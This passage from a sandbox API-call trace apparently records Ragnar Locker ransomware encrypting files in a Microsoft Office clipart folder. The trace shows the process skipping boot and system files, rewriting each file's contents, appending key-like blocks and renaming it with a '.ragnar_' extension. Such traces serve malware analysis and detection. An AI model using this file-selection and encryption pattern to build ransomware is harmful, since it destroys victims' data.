liDistanceToMove=0x9b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.667] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.667] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.667] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.667] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.667] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.668] GetProcessHeap () returned 0x580000 [0080.668] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.668] CloseHandle (hObject=0xf4) returned 1 [0080.668] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" [0080.668] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.ragnar_FD7BD9FC" [0080.668] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.668] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0080.668] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.668] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00443_.WMF" | out: lpString1="BS00443_.WMF") returned="BS00443_.WMF" [0080.668] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned=".WMF" [0080.668] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.668] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="autorun.inf") returned 1 [0080.668] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="boot.ini") returned 1 [0080.668] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="bootfont.bin") returned 1 [0080.668] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="bootsect.bak") returned 1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="bootmgr") returned 1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="bootmgr.efi") returned 1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="desktop.ini") returned -1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="iconcache.db") returned -1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="ntldr") returned -1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="ntuser.dat") returned -1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="ntuser.ini") returned -1 [0080.669] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="thumbs.db") returned -1 [0080.669] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.669] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.669] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.669] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.669] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.669] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.669] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0080.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.669] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1676) returned 1 [0080.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x683, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.669] GetProcessHeap () returned 0x580000 [0080.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.670] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.671] VirtualAlloc (lpAddress=0x0, dwSize=0x68c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.671] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x68c, lpOverlapped=0x0) returned 1 [0080.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.671] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x68c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.671] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x68c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x68c, lpOverlapped=0x0) returned 1 [0080.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x68c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.671] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.672] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x68c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.672] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.672] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.672] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.672] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.672] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.672] GetProcessHeap () returned 0x580000 [0080.672] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.672] CloseHandle (hObject=0xf4) returned 1 [0080.672] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" [0080.672] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.ragnar_FD7BD9FC" [0080.672] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.673] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0080.673] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.673] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00444_.WMF" | out: lpString1="BS00444_.WMF") returned="BS00444_.WMF" [0080.673] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned=".WMF" [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="autorun.inf") returned 1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="boot.ini") returned 1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="bootfont.bin") returned 1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="bootsect.bak") returned 1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="bootmgr") returned 1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="bootmgr.efi") returned 1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="desktop.ini") returned -1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="iconcache.db") returned -1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="ntldr") returned -1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="ntuser.dat") returned -1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="ntuser.ini") returned -1 [0080.673] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="thumbs.db") returned -1 [0080.673] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.673] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.673] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.673] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.673] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.673] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.674] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0080.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.674] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3896) returned 1 [0080.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.675] GetProcessHeap () returned 0x580000 [0080.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.675] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.676] VirtualAlloc (lpAddress=0x0, dwSize=0xf38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.676] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf38, lpOverlapped=0x0) returned 1 [0080.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf38, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.677] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf38, lpOverlapped=0x0) returned 1 [0080.677] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.677] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.677] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.678] GetProcessHeap () returned 0x580000 [0080.678] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.678] CloseHandle (hObject=0xf4) returned 1 [0080.678] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" [0080.678] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.ragnar_FD7BD9FC" [0080.678] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.678] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0080.678] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.678] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00445_.WMF" | out: lpString1="BS00445_.WMF") returned="BS00445_.WMF" [0080.678] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned=".WMF" [0080.678] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.678] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="autorun.inf") returned 1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="boot.ini") returned 1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="bootfont.bin") returned 1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="bootsect.bak") returned 1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="bootmgr") returned 1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="bootmgr.efi") returned 1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="desktop.ini") returned -1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="iconcache.db") returned -1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="ntldr") returned -1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="ntuser.dat") returned -1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="ntuser.ini") returned -1 [0080.679] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="thumbs.db") returned -1 [0080.679] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.679] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.679] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.679] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.679] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.679] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.679] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0080.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.679] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3796) returned 1 [0080.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xecb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.680] GetProcessHeap () returned 0x580000 [0080.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.680] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.681] VirtualAlloc (lpAddress=0x0, dwSize=0xed4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.681] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xed4, lpOverlapped=0x0) returned 1 [0080.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xed4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xed4, lpOverlapped=0x0) returned 1 [0080.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xed4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.682] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.682] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.682] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.683] WriteFile (in: hFile=0xf4, 